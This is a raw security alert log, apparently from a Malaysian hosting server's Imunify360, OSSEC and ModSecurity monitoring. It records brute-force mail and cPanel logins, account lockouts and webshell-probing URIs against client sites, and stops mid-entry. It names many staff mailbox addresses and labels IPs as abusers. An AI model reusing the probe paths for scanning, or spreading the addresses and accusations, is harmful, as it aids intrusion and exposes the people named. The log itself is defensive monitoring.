2026-01-30 19:04:49 dovecot_login authenticator failed for H=([222.117.0.253]) [222.117.0.253]:48391: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.234.232.184
country_id: 1814991
description:
2026-01-30 19:04:06 dovecot_login authenticator failed for H=([120.234.232.184]) [120.234.232.184]:45126: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 19:05:34 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-01-30 19:05:03 dovecot_login authenticator failed for H=([171.244.60.35]) [171.244.60.35]:31306: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:05:48 dovecot_login authenticator failed for H=(xCughQR) [178.16.54.138]:62281: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:05:51 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:05:07 dovecot_login authenticator failed for H=(wuM7zsKug) [185.230.124.69]:49648: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.216
country_id: 1880251
domain: mail.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/contact.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:06:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:06:16 dovecot_login authenticator failed for H=(Pc4JnSMQ) [185.230.124.69]:53382: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:06:24 dovecot_login authenticator failed for H=(pPQZemy5D) [178.16.54.138]:59250: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:06:46 dovecot_login authenticator failed for H=(vzuNW4WE) [185.230.124.69]:50560: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:07:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.170
country_id: 1269750
description:
2026-01-30 19:07:29 dovecot_login authenticator failed for H=([182.95.185.170]) [182.95.185.170]:46534: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.30.127.9
country_id: 1814991
description:
2026-01-30 19:07:42 dovecot_login authenticator failed for H=([112.29.109.174]) [112.30.127.9]:38485: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.4.199.164
country_id: 1814991
description:
2026-01-30 19:07:51 dovecot_login authenticator failed for H=(164.199.4.122.broad.wf.sd.dynamic.163data.com.cn) [122.4.199.164]:57487: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:07:02 dovecot_login authenticator failed for H=(CTZSwU0) [185.230.124.69]:55434: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.220.147
country_id: 3144096
description:
2026-01-30 19:07:09 dovecot_login authenticator failed for H=(cm-178.232.220.147.get.no) [178.232.220.147]:45755: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.246.178
country_id: 1269750
description:
2026-01-30 19:07:19 dovecot_login authenticator failed for H=([152.52.246.178]) [152.52.246.178]:55592: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:07:35 dovecot_login authenticator failed for H=(Ig0oyTqhP) [178.16.54.138]:63437: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.53
country_id: 2017370
description:
2026-01-30 19:08:52 dovecot_login authenticator failed for H=([178.178.222.53]) [178.178.222.53]:33974: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:08:13 dovecot_login authenticator failed for H=(f87AjQ) [178.16.54.138]:65146: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-30 19:08:15 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:48960: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.162.163
country_id: 298795
description:
2026-01-30 19:08:39 dovecot_login authenticator failed for H=([5.11.162.163]) [5.11.162.163]:40464: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:08:09 dovecot_login authenticator failed for H=(7DEH2ens47) [185.230.124.69]:54164: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:08:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:09:23 dovecot_login authenticator failed for H=(EPyrxd) [185.230.124.69]:56462: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:09:27 dovecot_login authenticator failed for H=(nj6Z47c) [178.16.54.138]:52520: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.221.41
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=76741515043684 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.30.190.49
country_id: 2921044
description:
2026-01-30 19:09:37 H=([113.30.190.49]) [113.30.190.49]:60900 F=<administrator@ktlog.com.my> rejected RCPT <jacklim@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 19:09:45 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:52939: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 172.174.230.96
country_id: 6252001
description:
2026-01-30 19:10:00 1038975 [Warning] Aborted connection 1038975 to db: 'unconnected' user: 'unauthenticated' host: '172.174.230.96' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-30 19:09:16 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:59440: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:09:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 172.174.230.96
country_id: 6252001
description:
2026-01-30 19:09:57 1038968 [Warning] Aborted connection 1038968 to db: 'unconnected' user: 'unauthenticated' host: '172.174.230.96' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:10:10 dovecot_login authenticator failed for H=(nN7jDPs) [185.230.124.69]:51314: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Loader/schema/dic/xliff-core/xml.xsd||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-30 19:10:57 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:36117: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 172.174.230.96
country_id: 6252001
description:
2026-01-30 19:10:02 1038980 [Warning] Aborted connection 1038980 to db: 'unconnected' user: 'unauthenticated' host: '172.174.230.96' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:10:03 dovecot_login authenticator failed for H=(QKL3soR5) [178.16.54.138]:57717: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:10:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:11:04 dovecot_login authenticator failed for H=(npJF9Zw) [178.16.54.138]:57512: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:11:19 dovecot_login authenticator failed for H=(IJgEg9n) [185.230.124.69]:57650: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-30 19:11:55 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:49152: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-01-30 19:11:43 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:36878: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:12:16 dovecot_login authenticator failed for H=(wK4WicNw) [178.16.54.138]:60534: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:12:05 dovecot_login authenticator failed for H=(TJKxC8) [185.230.124.69]:56217: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-01-30 19:12:12 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:56165: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:13:11 dovecot_login authenticator failed for H=(LX69k3J3) [185.230.124.69]:59866: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:13:20 dovecot_login authenticator failed for H=(8RHc4gKY) [178.16.54.138]:52211: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-01-30 19:13:10 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:55364: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-01-30 19:14:54 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:60605: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.88.184
country_id: 1668284
description:
2026-01-30 19:14:03 dovecot_login authenticator failed for H=110-25-88-184.adsl.fetnet.net [110.25.88.184]:50635: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:14:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:14:19 dovecot_login authenticator failed for H=(AFvcE0u) [185.230.124.69]:49767: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:14:14 dovecot_login authenticator failed for H=(pkAd93) [178.16.54.138]:60338: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:14:33 dovecot_login authenticator failed for H=(jWe8HbIs) [178.16.54.138]:52487: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 172.174.230.96
country_id: 6252001
description:
2026-01-30 19:15:06 1039110 [Warning] Aborted connection 1039110 to db: 'unconnected' user: 'unauthenticated' host: '172.174.230.96' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:15:10 dovecot_login authenticator failed for H=(jF0zS1WzyV) [178.16.54.138]:50515: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.202.89.13
country_id: 1835841
description:
2026-01-30 19:15:53 dovecot_plain authenticator failed for H=(B9MP3) [175.202.89.13]:49938: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 172.174.230.96
country_id: 6252001
description:
2026-01-30 19:15:02 1039102 [Warning] Aborted connection 1039102 to db: 'unconnected' user: 'unauthenticated' host: '172.174.230.96' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:15:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.181.196.96
country_id: 3469034
description:
2026-01-30 19:15:46 dovecot_login authenticator failed for H=(96.196.181.45.datasysteminfor.com.br) [45.181.196.96]:43887: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:15:06 dovecot_login authenticator failed for H=(gkY1aF04) [185.230.124.69]:55021: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 19:15:42 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:50068: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:16:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.151.240.91
country_id: 1522867
description:
2026-01-30 19:16:15 dovecot_login authenticator failed for H=37.151.240.91.dynamic.telecom.kz [37.151.240.91]:47873: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.215.100.3
country_id: 1512440
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/run/17/32/1730986 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:16:05 dovecot_login authenticator failed for H=(Dl79Ac) [178.16.54.138]:52860: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:16:16 dovecot_login authenticator failed for H=(RCrhD4BC) [185.230.124.69]:50355: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.249.191.163
country_id: 1814991
description:
2026-01-30 19:16:44 dovecot_login authenticator failed for H=([118.250.182.141]) [118.249.191.163]:51074: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.202.89.13
country_id: 1835841
description:
2026-01-30 19:16:00 dovecot_login authenticator failed for H=(B9MP3) [175.202.89.13]:49938: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 19:17:44 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:46678: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:17:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:17:07 dovecot_login authenticator failed for H=(R8dy4qs67) [185.230.124.69]:57304: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-01-30 19:17:31 dovecot_login authenticator failed for H=([50.217.40.11]) [50.217.40.11]:52338: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 19:17:47 H=([45.144.212.50]) [45.144.212.50]:50240 F=<zuleyha@savalanshipping.com> rejected RCPT <astkch@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from savalanshipping.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:17:33 dovecot_login authenticator failed for H=(mWAmQZphf) [178.16.54.138]:55532: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.88.247.5
country_id: 6252001
domain: mssa.org.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/120.0.6099.224 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:18:07 dovecot_login authenticator failed for H=(o9JOf7MQv) [178.16.54.138]:63250: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/images/sitemap.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:18:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:18:42 dovecot_login authenticator failed for H=(pkW4pXwjQQ) [178.16.54.138]:54766: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:18:20 dovecot_login authenticator failed for H=(lwXjqQ) [185.230.124.69]:63343: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-30 19:18:39 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:40616: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:19:17 dovecot_login authenticator failed for H=(3csEgX) [178.16.54.138]:58691: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:19:03 dovecot_login authenticator failed for H=(wPv5bPL) [185.230.124.69]:57821: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
country_id: 290557
description:
2026-01-30 19:20:36 dovecot_login authenticator failed for H=([20.46.45.121]) [20.46.45.121]:49435: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-30 19:20:45 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:49354: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:20:08 dovecot_login authenticator failed for H=(M8cAv2ryn2) [178.16.54.138]:59384: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 19:20:08 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:38708: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:20:18 dovecot_login authenticator failed for H=(gDlmw1B) [185.230.124.69]:58055: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-01-30 19:20:18 dovecot_login authenticator failed for H=([125.18.43.161]) [128.185.209.30]:47464: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.196.42.114
country_id: 2077456
description:
2026-01-30 19:21:16 dovecot_login authenticator failed for H=(203-196-42-114.static.dsl.net.au) [203.196.42.114]:47204: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.16.201.52
country_id: 1814991
description:
2026-01-30 19:21:28 dovecot_login authenticator failed for H=([58.16.201.52]) [58.16.201.52]:33873: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:21:05 dovecot_login authenticator failed for H=(qWCY6UV) [185.230.124.69]:55783: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:21:14 dovecot_login authenticator failed for H=(s5NpE14k) [178.16.54.138]:55190: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-01-30 19:22:19 +0800] info [cpaneld] 103.210.132.14 - tujuseti "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tujuseti (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
